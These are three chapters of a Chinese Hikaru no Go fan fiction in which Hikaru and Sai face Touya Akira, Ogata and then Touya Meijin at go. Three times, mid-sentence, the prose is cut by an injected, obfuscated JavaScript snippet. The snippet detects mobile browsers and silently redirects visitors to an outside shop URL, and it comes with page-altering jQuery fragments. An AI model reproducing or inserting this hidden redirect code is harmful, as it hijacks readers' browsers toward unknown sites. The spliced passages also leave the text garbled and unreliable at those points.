见事情已无可挽回,绪方用看破一切的目光冷冷盯着光的脸,阴森道:“你就这么不想被小亮看到这局棋吗。” “什么?没有的事,我就是着急做下一局的准备而已。” “很遗憾,他已经看到了。” “诶?” 光目瞪口呆地转过身去,才发现在他身后,塔矢亮正一言不发地望着他,像一尊石头雕刻而成的佛像。 一瞬间,光全身的鸡皮疙瘩都起来了。 这个家伙走路一点声音都没有的吗?!是从什么时候开始站在那的?! 而且那双眼睛,那视线,那仿佛可以杀人的表情,怎么看都是完整见证了这局棋的样子!他该不会已经在怀疑了吧?怀疑进藤光到底是什么样的人?为什么要飞快地毁尸灭迹? “你怎么不告诉我他来了?佐为!”光这种时候就急得只能把锅甩给幽灵了,毕竟幽灵按理说可以眼观四路耳听八方。 佐为用袖子捂住了半张脸,委委屈屈地说:“可是我一直在专心下棋啊。” 不不不,光没有责怪佐为的意思。他头大的只是不想把佐为的棋和进藤光的棋混为一谈地呈现给塔矢亮而已。佐为当然可以下棋,但一个小学生这么简单就赢了绪方九段的事,最好还是先不要大范围传播,以免自己的实力还跟不上,让太多人对他产生错误的期待。 别人期待也就算了,塔矢亮是他认定的对手,只有这一个人,光想让对方看到真实的自己。 此刻的亮却完全没在考虑光担心的这些事。 他只觉得脚下的地面正在离他远去。 进藤……赢了绪方先生。 赢得还那么轻松。 自己在深夜钻研的那些对策,临时抱佛脚的小儿科对策,遇上这个火力全开的进藤,恐怕也只会被碾压得粉碎吧。 还有验证的必要吗? 他真的能和进藤坚持到收官吗? 进藤的实力,究竟到了哪一步? “咳咳,既然你回来了,那我们就赶紧开始吧!和绪方先生的指导棋也结束了。”光有意把刚才的对局说成是绪方在让他,这样塔矢亮心里的怀疑应该会减少一些,顺便催促亮赶紧开始下棋,以免他继续自己胡思乱想,“来猜子啦,塔矢。” 光在笑呵呵地等着他。 亮却用右手握住了自己的左手臂。 他开始不确定了。不确定今天是否是与进藤对局的最佳时机。 进藤连绪方先生都能击败,而且是中盘获胜,不是一目两目的差别,那自己……岂不是根本毫无机会?如果两人差距过大的话,无论再下几次也无法证明什么,只会将原本就如履薄冰的自信击碎得更彻底而已。 那一瞬,亮生平第一次产生了“退缩”的情绪。 塔矢亮紧紧皱在一起的眉头让光有点不安。 “……塔矢。”光叫着他名字的声音也弱了下去。 “抱歉,我走神了。”一个深呼吸过后,亮似乎又变回了原来那个无比理性的塔矢亮,他坐在绪方刚才坐过的位置上,对光干脆利落地点了点头,“猜先吧。” 恢复过来了吗?这么快? 也是,塔矢的心理素质一直很好,不然也不会在初入段后打破绪方保持的公式赛连胜记录了。光在心底里相信着这个对手的韧劲。 既然他恢复过来了,那自己也要铆足劲头上了!不能落后给他! “我是白子。请多指教。”光规规矩矩地弯下腰。 “请多指教。”亮也鞠躬致意。 “小光,加油!” 佐为向后一步,让出专属于光的决战空间。塔矢亮是小光认定的对手,这一局无论从情理上、还是道理上,都应该由他来下。塔矢也……在全身心等待着来自小光的回应吧。不论时代如何变迁,棋手对势均力敌的对手的期待都是不变的。 然而,开局没两手,佐为就迅速从这不寻常的氛围里捕捉到了亮的紧张。 假使手指的紧张还能用受伤来解释,那每一步之前他咬紧嘴唇的小动作,怎么都无法遮掩。 他一直在咬紧牙关,抵制身体本能的反抗。 小光……塔矢他好像不太对劲。佐为本想这样告诉光,但又不愿打断他的对局——棋局之中谁都不可轻易打扰,这是铁则。 而沉浸在与亮的对弈里的光,则完全没注意到亮的奇怪之处。 塔矢是很难对付的家伙,尽管离上次对局才过去不到一周,可如果是他的话,搞不准真能突击训练追上来好大一截。那种不惜一切代价也要往前披荆斩棘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211744|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度,用在追赶竞争对手上,制造出的压迫感可不是一般的强。他就是棋坛公认的“下克上”的王者。 ——来吧,让我看看,你打算用什么方式对我发起挑战? 光暗自对自己点了点头。他的体温在急剧升高,对塔矢亮的期待让他浑身每个细胞都在遏制尖叫的冲动。 真奇妙,明明现在综合实力是自己更强,可想到面前坐着的是那个永不服输的塔矢,他就忍不住担心自己会输。 过来吧! 击溃他的防守!挡住他的进攻! 然后!绝地反击! 那就是塔矢亮的围棋最闪耀的瞬间! “……” 奇怪的是,这家伙陷入了长考。 当然,此时此刻确实是前半段的关键点,光也会仔细审视全局后再做出决定,但塔矢亮花费的时间未免也太长了。 长得有些不自然。 你怎么了啊,塔矢?光很想这样质问他。但又只能干等着。 时间一分一秒地过去,墙上的挂钟滴答滴答地走着,人在无比紧张的时候,钟表的声音会显得极度刺耳,就算不愿意,那表针往下走动的节奏,也会扰乱他的内心。 放大到无限大。 “唔……” 塔矢亮眉头紧锁,小学时代的他还没养成长考就要托下巴的习惯,双手扶在腿上,只留下一双眼睛紧紧盯着棋盘。他在流汗。汗珠就像失控一样爬上他的后背,前额,脸颊,和脖子。他在全力抵御来自外界的声音。 然后,他终于抬起了右手。 ——来了!! 一道闪电击中光的脊椎,他立刻直起腰,等待塔矢亮放下那颗至关重要的棋子。 啪—— 光眼中的惊愕达到史无前例的高度。 他瞪大了双眼,似乎不能相信自己见到的一切。 不,那惊愕并非来自看到妙招的震撼。而是,见到塔矢亮竟然会在这么重要的分水岭选择这样一种战术的不理解。 “你……” 光抬起头与亮的双眼四目相对,那一刻,亮下意识地回避了他的视线。 果然有问题!直到这时,光才察觉到了佐为一开始就察觉到的端倪。 “为什么?” 光还是没忍住,在对局中喊出了声。 佐为有些不愿再看下去,充满惋惜地摇了摇头。他明白小光此刻的心情。不过…… “小光,你先继续下。”佐为这样建议道,“说不定他还有什么后手。对方是塔矢,也许有他的理由。” 也是啊,他是塔矢啊。轻敌可是大忌。 光定了定神,让注意力重新回到棋盘上,继续思考下一步。他需要找回耐心。塔矢亮一定还在藏着什么秘密武器。 光的攻击并未因亮的奇怪选择而放缓分毫。 但亮又在一次长考后,给出了光不愿见到的答案。 紧接着是下一次长考。 一次又一次。 到第四次时,光终于忍无可忍了。 他根本没有所谓的后手!也没有用任何妙招衔接起刚才的那颗子! 什么暗藏玄机?都不存在! 事实单纯得彻底,亮只是因为害怕正面交手、而处处回避光的攻击罢了! 是担心正面对抗失利后丢失太多实地,进一步拉大差距吗?但要是一味退缩,不是白白把可能得到的地拱手让人? 保守下去能让他反败为胜吗?对手可不是会主动犯错的业余棋手啊! ——你到底在害怕什么,塔矢?! “小光。”佐为发出一声温柔的叹息,“我们来引导他吧。” “引导?” “塔矢上次输给你之后,尚且保留着反击的斗志。但在今日目睹我大胜那个人后,受到了比那时更强烈的震慑,残存的斗志早已所剩无几了。”他淡淡地分析着亮的伤口,不是身体上的,而是心灵上的伤口,“现在的他,在试图用厚厚的壳保护自己。” 是啊,佐为说得一点没错。 他想不出用什么办法能击倒轻松战胜绪方九段的进藤光。结果就下成唯唯诺诺的另一个人的风格了。 亮肯定也很煎熬吧。 “我该怎么让他卸下这层壳?”光诚恳地问佐为,“靠下棋,可以吗?” ●○●○ 14. Chapter 13. 塔矢亮的真心 佐为摇了摇头。 “不,我想你还是直接告诉他更好。有时候手谈也是有言外之意的,如果对方不愿承认,就会一直误解你的本意。” 佐为这番话就像一股暖流,慢慢洗涤着光烦躁的内心。 毕竟今天说要和绪方下棋的是自己,自己也有义务帮亮摆脱这莫名其妙的心理阴影。即使没有他进藤光,塔矢亮也需要克服人外有人的恐惧,才能走得更远。他这一路都太顺遂了,这样的人,亟需一个真正的目标,急不可待也想完成的目标。 而不是被过高的目标吓倒,转身丢盔弃甲而逃。 光想到这里,干脆暂停了棋局。 他放下棋子望向亮,开口说话了。 “输棋很痛苦吧。” “……诶?” 光突然的声音让亮和绪方都有些吃惊。 “我也有过一直下一直输的阶段,因为有一个无法超越的对手挡在我面前,他太优秀了,我无论如何都不可能赢得了。没有比那更难熬的体验了,赢一次,哪怕只赢一次,都能打破冰封的海面,但我做不到,除了输还是输,输输输输输……最后,我完全忘了赢棋是什么节奏。” 他在说上辈子天天和佐为对弈,反而在院生排位赛中屡屡失利的经历。佐为太强了,强得光根本不敢进攻,只要进攻了肯定就会被反击,然后血本无归。但其实,对手如果不是佐为的话,那些进攻是很可能会奏效的。这样一来他都不敢尝试了。 佐为不知道光指的是哪个人,但这种心情他也是能理解的。 一直困在自我怀疑里,会降低刀刃的锋利度。 “我们下次再下吧。”光提出了这个看似有些轻率的方案,“你需要一些胜利来提振心情。在胜利里找到自信,才能回来好好和我下。” 这似乎是在暗示自己技不如人。亮的自尊心很强,听到这番话,只觉得本能的抵触。 “不,我还可以继续!”亮很坚决地驳回了这个方案。 他在咽口水。光看到了亮的喉咙颤动的瞬间。明明精神都很紧绷了,还是想坚持到最后啊,该说他坚强呢,还是顽固到搞不清楚状况呢。 “不要再逞强了,塔矢。”光眼里的光线也暗了下去,“这局棋根本不是你的水平。” “这就是我的水平。” “别胡扯!” 光一怒之下拍桌而起。 在刚刚塔矢亮接连下出好几手中庸自保的臭棋之后,光平生第一次诞生了在中盘失望离席的冲动。他看不下去了。这样僵硬的棋,根本不是塔矢亮应该下出来的,只让他觉得自己的认真受到了嘲弄。 就如塔矢亮费尽周折在中学围棋联赛上抓住进藤光、却发现他下棋根本是在胡乱玩闹时一样。 他生气了。 “不管怎么说,先把这局下完吧,进藤。检讨是在那之后的事。”绪方插进了对话。 身为局外人,绪方还可以在这种场合保持镇定,他的评价是最中立的,一局棋没有正当的理由就随意中断也太失礼了,不管进藤光如何生气,都不该从座位上站起来。 光却没打算好好遵守这个规定。 如果不趁现在,有些话他就说不出来了。那些只有乘着情绪才能说出口的大实话。 于是他反而加大马力,毫不遮拦自己心中的不悦,对着呆愣在原地的亮发出一声巨大的咆哮: “不!我认识的塔矢,是更大胆的、更敏锐的、更一往无前的家伙!” 亮哑口无言。 可他还是想辩驳点什么。 “……在你这堵高墙面前,我束手无策。”半晌过后,亮只能再次掏出虚伪的假面,掩饰真实的心,语气平静得像在说外人的事,“抱歉,让你失望了。” “你根本没懂我生气的点!” 光的咄咄逼人终于也燃起了亮的怒火。 他自幼接受的教育就是无论什么情况都不可以发怒,憋得久了,他连生气是什么感觉都忘了,直到进藤光帮他找回了这股冲动。 亮也不知哪根筋搭错了,用更大的声量吼了回去: “你又哪里懂我的心情了?!你是我有生以来第一次见到的……根本不合理的存在!我一直以为自己是努力到极限的棋手,因为你,我对自己确信的努力都产生了质疑!我相信过的一切,都变成了谎言!” 亮突如其来的自白让绪方都呆住了。 他从没见过这样宣泄自我的小亮。 也没见过歇斯底里地吼出真心话的小亮。 原来他……是这么想的吗?进藤的出现彻底扰乱了他的世界观? 绪方承认,方才那盘快棋体现了进藤光优秀的棋感,但也仅此而已,有些有天分的小棋手也不是不可能做到。没有任何证据证明光真的是个不可战胜的天才,毕竟他又没在正式场合同高段职业棋士对弈过。 亮是不是在内心擅自给光添加了过强的滤镜? 此刻的塔矢亮,正因一时冲动说出了那番话而冷汗涔涔。 他心乱如麻,不止是因为光打算中断棋局,也是因为光诱导他说出了真正的心里话,逼迫他第一次这么近距离地看着镜子里的自己。 塔矢行洋说过,亮有没有围棋的才能他不清楚,但棋手必备的两个才能却已经具备了:一个是比任何人更努力的才能,另一个是比任何人都要热爱围棋的才能。 亮就是靠着这句话才努力至今。 然而,进藤光的横空出现撕裂了现实与梦想的那层纸。 亮第一次明白了什么是天才。 而自己不是。 “……” 看到亮眼里闪烁的愤怒的泪光,进藤光肚子里的火也嗖地冒了上来。 他以为只有他这样吗?!岂有此理! “我也不是生来就会下棋的啊!什么天才?别开玩笑了!你尝过的那些痛苦,忍耐,和绝望,你以为我就没体会过吗?我是靠着失去了最重要的东西才走到了今天!而且只能继续走下去!再迷茫、再无助都要走下去!绝对不会停!这就是我对围棋的决心!这样的决心……这样的决心,你也是有的,不是吗?!” “我……” 亮的声音弱了下去。 “不要惧怕我的幻影,塔矢!”光既是在对他说这句话,也是在对自己说这句话,“我没有那么……不可逾越!!” 目睹二人互相在争吵中推心置腹的佐为,不知为何竟有些想流泪。 是小光的情绪感染了他吧,那过于灼热的热情,和经历过痛苦的坚强,就像一束光,照射在佐为的身上。 从初次见面起佐为就怀疑过这孩子是否有所隐瞒,现在看来,至少他曾经经历过的那些事,才是真正支撑起他围棋信念的源泉。 “小光……你果然,不是普通的孩子。” 这份不普通,值得我去尊敬。 佐为默默在心中说完了后半句,露出夹杂着哀伤的笑容,静静守护着面前的两人。能把最压抑的心情诉说出来就痛快了,之后,再花些时间慢慢去恢复吧。所谓成长就是这样的过程。 看到后辈们互相支持着、磕磕绊绊地往前走,他感到十分欣慰。 不过还有一个问题,当事人却还处于水火不容的对峙中,这架再吵下去、就没完没了了,偏偏两个倔脾气的人凑在一起,谁都不肯先服软,总需要第三方来帮忙收场。 绪方精次无奈地推了推眼镜,作为在场唯一的成年人,只能他出马了。 “也就是说,如果小亮知道你的棋力也有上限,这种不确定的恐惧也就自然烟消云散了。是吧。” 绪方也不是什么简单角色,名义上是在劝架,实际上却有些反向拱火的意味,他先对着光说了前半句,又转向了亮说完了后半句。 “——要测试一回吗?这小子究竟有几斤几两,是深不见底……还是徒有其表。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211745|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “测试……?什么意思?” 亮还没懂他想说什么,绪方就转回光所在的位置,字字清晰地抛下一颗惊天炸雷:“进藤光,你有没有兴趣,和老师下一局?” “老师?” “塔矢名人。” “?!” 这四个字从绪方嘴里冒出来的时候,光差点一口气没换过来直接晕倒在地。但对方并没打算关怀他脆弱的小心灵,反而继续肆无忌惮地说了下去: “他是当下日本棋坛最强的棋手,我想这一点毋庸置疑吧。没人能比他更准确地判断你的实力了。” “日本最强棋手……”佐为被这个关键词直击心脏。 但重点不在这里吧?! 光直接进行了一个急切的嘴咬嘴,舌头都来不及捋顺,就慌忙拦住了绪方:“不是!请等等!我……我当然也很想和塔矢名人对局,可是……这也太乱来了!再说,塔矢老师那么忙,怎么可能有时间和我这种业余的小鬼下棋?” “找借口的话我建议你想点别的理由。”绪方毫不留情地戳穿了他的伪装,“这也是为了小亮。” 为了……塔矢……? 光一时无言以对。 他不知道局势是怎么演变成现在这个情况的,但绪方说得好像也有几分道理。他总得帮塔矢走出来,不然之后他要和谁当对手啊? “我……”光看了看佐为,又看了看亮,这俩人倒是齐刷刷露出了期待的深色,两个他最重要的人都这样了,他还有什么可反对的,只能乖乖认输,“……我知道了,那就麻烦您安排我和塔矢名人见面的机会吧。” 只希望到时候不要下得太夸张就好。单单是和绪方下一局快棋都能把塔矢吓到自闭,这种事要是再来两回,对他进藤光心脏不好。 看到佐为快乐又兴奋的目光,光稍稍放下了一些心头的不安。 两人想办法告辞了那间噩梦般的休息室,比亮更早一步回到大街上。光暂时不想和他单独碰面。 至此,这一波三折的一天总算是结束了。 刚刚那局拖得太久,外面都已经是傍晚了,佐为忽然“哇”了一声,光才注意到,成串亮起的路灯照耀着地上大雨过后的水洼,闪烁如流星,让城市犹如在梦境之中。这样一想,刚才发生的一切,也都比梦境还像梦境啊。 “佐为,这次由你来下。”光马上把难题丢给了背后的幽灵,他钻进电车,望着窗外飞速流动的风景,“虽然还早了点,但塔矢行洋是现在日本首屈一指的强者,他是最适合陪你找到神之一手的人。机会难得。” “真的?!”佐为先是欣喜,而后着急起来,“可是,塔矢想看的是你的棋啊,小光!” “塔矢的心情我明白啦。的确,看到我输给名人的话,他就知道我只是个普通人了。” “话不是这么说的,小光你明明也很优秀……总之,这局棋必须你来下!” 难得佐为没有闹着要亲自下棋。可能他还不知道塔矢行洋是什么等级的对手?又或者现在的他还不担心自己会消失,所以心态比较安逸? 不论是哪种理由,光都很感谢佐为的谦让。 “谢谢你。但我也想让你下棋,佐为,我不想剥夺你下棋的权利。” “小光……” 光这话并非空穴来风,只不过现在的佐为还不懂,他感觉得到光对自己的愧疚,只是找不到原因。 见佐为这么担心,光连忙笑着解释:“塔矢名人是很倔脾气的人,要是这次弄不好,说不定以后也很难约他对弈了。我不想说什么还有机会这种话,有些事情是来不及后悔的。” 他只想珍惜佐为每一次下棋的机会。 “既然如此。”看出他眼中的坚决,佐为忽然用扇子指向了车厢对侧的光,目光聚集在扇面尖端,颇有些将二人连接起来的意味,“我有一个提议。” “……提议?” ●○●○ 15. Chapter 14. 登门拜访塔矢家 1999年1月中旬,短暂的寒假画上了句点。经历两周惴惴不安的漫长等待后,进藤光终于等到了与绪方约好的日子。 他记得那日是一整年最寒冷的一日,气温如是,心中亦如是。 现在他就整个人冻在了塔矢家门口。 众所周知,东京都是全世界都赫赫有名的大都市,无数社会名流在此定居,而塔矢家便是其中之一。塔矢行洋凭借一己之力横扫各大头衔战,创下了围棋界前所未有的丰功伟绩,每年单凭头衔奖金就可收入不菲,还不算各类商业活动、代言、围棋类书籍的稿费。 棋力不能实体化,金钱却是有办法实体化的,就像眼前这座低调却有格差的和风豪宅。放在过去的话,这房屋完全称得上是“官邸”吧。 光艰难地抬起头,望着明明绝对高度不高、却显得气势雄浑的塔矢家主入口——那棋坛绝对统治力的象征。 “唔哇,好夸张的院门。这片区域的房价肯定贵得吓死人吧。” “塔矢家是有名的大贵族吗?”看到这一幕,连真·平安时代贵族的佐为都不禁发问。 “现代已经没有贵族了……不过我觉得本质也差不多。” 他以前都以为,这种自带江户风院墙和大片庭院的和式单层住宅是□□或财阀专属,只有穿着几十上百万日元的和服的人才好意思迈进院门。 光看了看自己那身一千日元的旧夹克。早知道就换身像样点的衣服再来了。上辈子为了备战第二届北斗杯,他和塔矢倒是在棋院边上合租了快九年,但每次见塔矢行洋都是在外面,这么一算,他独自一人来塔矢家……居然还是头一次! 初次见面就给大前辈留下太寒酸的印象,是不是有点不妙? “想到是去那个塔矢的家里,总觉得怪怪的。”光回头瞥了一眼关上车门的绪方,“偏偏还是坐绪方老师的车来!” 绪方微妙地给了他一个白眼。 “别抱怨了,你要是自己来能找到路吗。” 那辆设计过于标新立异的红色跑车实在太高调了,停在车库都叫人忍不住多看两眼,完全不像下围棋的人会开的,也许这也印证了绪方看似无情无欲实则满腹闷骚的双面性格。单是从车上开门下来,迎接路人的好奇目光,光都浑身不自在。 绪方该不会是靠这种方法修炼自己的脸皮吧?难怪能若无其事地应对桑原本因坊的压力攻击! “午安,进藤。” 早就等候在院中的塔矢亮穿着一身干净笔挺的衬衫,见到二人,立刻走上前来。他的皮鞋踩在光洁如新的石子小路上,几乎悄然无声,修剪得格外整齐的竹林坐落在院落外侧,环绕着一方青翠的水池,水池边安置着一枚逐鹿,时不时发出清亮的“哒”声。 “午、午安,塔矢。”光连忙掏出书包里的点心盒,“这是一点不成敬意的小手信,请务必收下!” 亮双手接过礼盒,面无表情。自从上次两人吵过架之后,他就不再在光面前扮演温润如玉的贵公子形象,连片刻不离身的应酬式微笑都免去了。 但客套还是要客套两句。 “不必紧张。父亲虽看上去很严厉,但为人却很随和,不会在意你的失礼。” 这不是已经在以他会失礼为前提了么。光抽了抽嘴角。 为了缓解尴尬,亮的母亲——塔矢明子笑意盈盈地从玄关对他们招了招手。那是一位温柔知性的短发女性,看上去并不保守,应该颇有些学识。见到光的瞬间,她脸上的微笑更甚了。 “欢迎你过来,进藤君!小亮能交到好朋友,我真是太高兴了,这几天一直缠着他问你的事呢。你就当是在自己家,别拘束。鞋子那样放着就好了。” 目前这个阶段我们还算不上朋友——这话面对笑容可掬的明子,光可没法说出口。 他只能浑身僵硬地放下运动鞋,跟随绪方精次一起走入满是贵族气质的房间。 “老师现在在棋室吗?”绪方代他发问。 明子转身去了厨房,在这外表和式的建筑里,竟然藏着完备的开放式一体化吧台,看造型应当是国际金奖设计师的作品,她打开烤箱,里面立刻传出诱人的香味。 “是的。你们歇会儿再去找他如何,我准备了几道甜品,是按小亮喜欢的口味做的,进藤君是小亮的朋友,应该喜好也不会差太多吧?”明子说着,扭头一看,失望地耸了耸肩,“……哎呀,人怎么都跑光了?这群棋痴真是的,都不听人说话。也不知是和谁学的?” 三名棋痴早就齐齐转移到了棋室门口。 这里是完全的和室布局,专为塔矢行洋下棋而打造,半明半暗的阳光从和纸背后透进来,为空间增添了几许暧昧。 光记起,他曾在亮的书架上见过一本《阴翳礼赞》,起初还以为那是什么志怪小说,后来经过伊角的提示才知道那是一篇随笔。作者谷崎润一郎所找寻的美学概念,与塔矢亮后期的棋风十分相符,定是亮从年少时期就受行洋的影响的缘故。 夜明珠置于暗处方能放出光彩,宝石曝露于阳光之下则失去魅力,离开阴翳,也就没有美。 他们二人就像阳光与阴翳的一体两面。 谁成为光,另一人就会是影子。 但也不能一直是影子。 光与影必须互相交替,否则就无美可言了。 光的思绪还在少见的回忆中飘荡,绪方已经迅速拉开了纸门。 虚掩的间隔已然消失。独坐在棋盘前的伟岸身影处于逆光之下,显得格外沉着,那件蜀江纹样的吴服极为契合塔矢行洋的气质,使这间不大的棋室摇身一变,成为由他坐阵的雄浑战场。 唯有他,是与棋盘灵魂化一的,唯有他,配得上深奥幽玄的历史。 光不由得屏住了呼吸。他身后的佐为同样屏住了呼吸。 “就是你赢了绪方君和小亮?” 未待光来得及进行自我介绍,塔矢行洋已经用他那稳重深厚的嗓音开启了对话。 糟糕,看得太入迷就忘记礼貌了!光这才手忙脚乱地鞠了一躬。 “是的、是我!” “无需拘束,坐吧。” 行洋的遣词造句都像是从大河剧里走出来的历史人物,严肃而简短。每每与他碰上面,光都紧张到搜肠刮肚,想找点有文化的词汇掩饰自己的大脑空空。无奈,每每也都徒劳无功。 “是。” 要命的是,在正坐的塔矢行洋面前,他只能正坐。光侧过脸看了看亮,这家伙也在正坐,绪方也是,一看就知道他俩早已习惯了以这种姿势进行对局。虽说上辈子光经过职业生涯的十年苦练、最后也勉强接受了正坐,但12岁时的这副身体大概还接受不了。 待、待会可不能下棋下到一半在塔矢行洋面前腿麻侧翻啊! “佐为!这里的空气也太沉重了!”光想和佐为说说话,缓解紧张,结果却等不到回音,“佐为?” “……” 他的声音根本传不到佐为耳中。 在命中注定的对手面前,佐为如临大敌,早已陷入全神贯注的备战状态。 他双袖整整齐齐地搭在榻榻米两侧,目光如炬,折扇收拢在膝前,眼中唯一的存在就是斜前方的塔矢行洋,再也容不下第二个人。 如此认真的佐为,他只在十年前见过一次。 也是对战塔矢行洋的时候。光的新初段联赛。那个永远难忘的1月的清晨。 这次,他们的对局提前了整整两年。 “感觉如何,佐为?”光想起他们今天的离谱计划,忽然觉得心里有点没底,只能想方设法找点话题提醒佐为——战斗尚未正式开始,“你眼中的塔矢名人,是个什么样的人?” 佐为的神情毫无变化,还是那般全神贯注。 “我猜,他应当是一位对认定之事专注到极致的英杰。” “他可是代表日本棋坛顶峰的大人物。”光赞同地抬高了自己的脖子,以便更清晰地看到行洋的脸,“高峰的最尖处,还找不到第二个人能与他比肩呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211746|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实光还剩一半评价没说完。 那就是,塔矢名人其实也是个孤独的人。 在佐为消失后,他曾深夜独坐棋盘前,岿然不动地看着对面空荡荡的坐垫。那个瞬间,偶然路过的亮从父亲眼中读出了难以言说的孤寂,他将这个场景转告给了光,光听完心里也空荡荡的。不论他如何等待,他等的那个人,不、那个灵魂,都无法回来了。 但现在,一切都还来得及。 他的对手,就在这里。 “进藤,还愣着干什么,快打招呼。”绪方略带责备的催促一下把他拉回现实。 光又是一阵手忙脚乱,费力组织着自己贫瘠的语言:“啊!呃、那个,塔矢老师,今日有机会相见,晚辈不胜荣幸。绪方老师说您愿意和我对局,非常感谢!” 还好行洋不在意他的窘态。 “起初听说小亮输了,我还以为是以讹传讹,没想到你竟能在快棋里下赢绪方君。他们二人都是我自满的学生,所以绪方君说你想与我交手,我立刻便同意了。” “是……” “摆两枚让子吧,我和小亮下的时候,规矩都是这样。” 氛围令人很难拒绝啊。 光咬咬牙,再次俯下身去。 “感谢您的认可,但是,可否再接受我一个斗胆的请求?” “具体说来。” “我……可以不要让子吗?” 光这句不经深思熟虑的发言让绪方大惊失色。 “喂!进藤!”绪方压低声音提醒他道,“在我面前放肆点没关系,这位可是塔矢名人老师!你知不知道自己在和谁说话?” 一点分寸都不懂的小鬼。光明白他的言外之意,但他不打算放弃。 “我知道这个请求很过分!塔矢老师的实力有多高超,我也十分清楚。这几天我一直在看塔矢老师过去的所有棋谱,从出道第一年到上周的名人战,全都拜读过了,说实话,强得让人头皮发麻。思维缜密到那个地步的棋士,我几乎没见过第二个。” 他说的是“几乎”。 一棵好奇的小苗已经冒头。塔矢行洋依旧神色不变地看着他,但眼里多出了一丝情绪。 是不悦?还是期待?或许只有他自己能够解读。 “但是?”行洋在等他的下一句话。 光深吸一口气。 “但是,想要在棋盘上弄清楚彼此真实的实力的话,就只有分先了,不是吗。” 光的态度说诚恳也诚恳,说猖狂也猖狂。 闻言,塔矢行洋沉默了片刻,端起左手侧的茶盏,慢悠悠抿了一口玉露茶。随后陈述事实般地说: “在日本棋院,能与我分先对弈的,都是六段以上的职业棋士。” “我知道。” “你今年才十二岁。” “和年龄有关系吗?” “进藤!别太得意忘形了!”见鬼,绪方真怕这家伙再说出什么不讲礼貌的话来,搞得他这个中间人莫名背锅,“和老师单独对局的机会有多宝贵,想求老师下一局指导棋的人,都预约到了大后年。我确实是有拜托老师鉴定你的实力,但如果你自视甚高,今后就再也不可能有这样的机遇了,这一点,你清楚吗?” 他不是故意当坏人。维护自己老师的面子是弟子重要的工作,同时,他也并不想让光过早闯祸,以光的才能,日后他们一定会在职业棋坛屡屡碰面,到时候尴尬的会是谁? 无形的压力环绕着四周,就像密密麻麻的格栅挡住屋外的阳光,光却没有因此退缩。 “我很清楚。所以我才会这么说。”光的眉头皱得更深,像在下定决心,他也是在代替佐为说出这句话,“要是塔矢老师执意要让我2子的话……我就只能转换策略了。” 这句话似乎夹杂着一丝威胁。 塔矢行洋抬眼问:“策略?什么策略?” “假想自己让给塔矢老师十五目——用那样的前提去对弈。” ●○●○ 16. Chapter 15. 两个人vs塔矢行洋 光用最低调的语气放出了最石破天惊的大型炸弹,饶是早已知晓进藤光实力的亮,都不掩眼中的惊愕。 他在说什么?他的脑子真的还清醒吗? “你——?!”绪方就差揪住光的衣领痛骂一顿了,他是真没见过这么猖狂、还猖狂得这么有理的小鬼,“让给老师十五目?那样根本就下不下去,别说棋路了,最基础的棋形都不可能形成。只要老师不接你的招,你就会直接全面溃败!胡说八道也有个限度!” “有趣。” 在绪方发泄完他的不满之后,塔矢行洋本人却发出了短促的笑声。 光还以为是自己听错了。 “塔矢老师?” “你也是用这样的气魄,诱使绪方君同意与你下分先棋的吗。原来如此。”与错愕的绪方和亮不同,塔矢行洋的眸子充满了看破一切的智慧,他并不计较面子,也不在乎小孩的傲气,反而颇有些赏识光的气势的意味,“那就依你所言,我只让先。这样你可以接受吧。” 塔矢行洋说着,将手边的黑棋棋罐推到了光身前。 榻榻米散发出清爽的竹叶香,光的手指环绕在棋罐两侧,莫名觉得这罐子比平素接触到的沉重许多。 挑衅塔矢行洋的后果是很严重的,他对此已有觉悟,可对方却出乎意料地答应了他的请求,答应得还十分平静。这让光有点疑惑。 但是,他的目的已经达到了。 光连忙最后一次俯下身去,额头贴地。 “是的。谢谢您包容我的任性,请您赐教。” “请多指教。”塔矢行洋微微颔首。 窗外的逐鹿骤然发出“哒”的撞击声,竹筒碰上水面,宣誓着这场不可思议的战斗的开始。有什么东西,正从内心深处慢慢溢出来。 光坐直了身子,与佐为摆出完全相同的姿势,以完全相同的神情注视着棋盘。 是时候了,光对自己暗下决心。 ——久等了,塔矢老师。 “佐为,要开始了!” “嗯。” “你来下第一手。”光夹起一颗棋子,面不改色,“然后是我。” “嗯。” “我会好好接住你的出手,你也要为我好好善后啊。对手可是塔矢行洋,只要有一步会错意,就绝对会一败涂地。” 两周前佐为在电车上对光提出的建议,正是叫人难以置信的“轮流下棋”。 乍一听格外离谱,但又格外合理。 塔矢行洋此时的实力应当与佐为不相上下,或是略胜一筹。面对他这样位高权重的棋坛四冠王,光竭尽全力也只能争取到让先,能避免让4子都已经不错了。 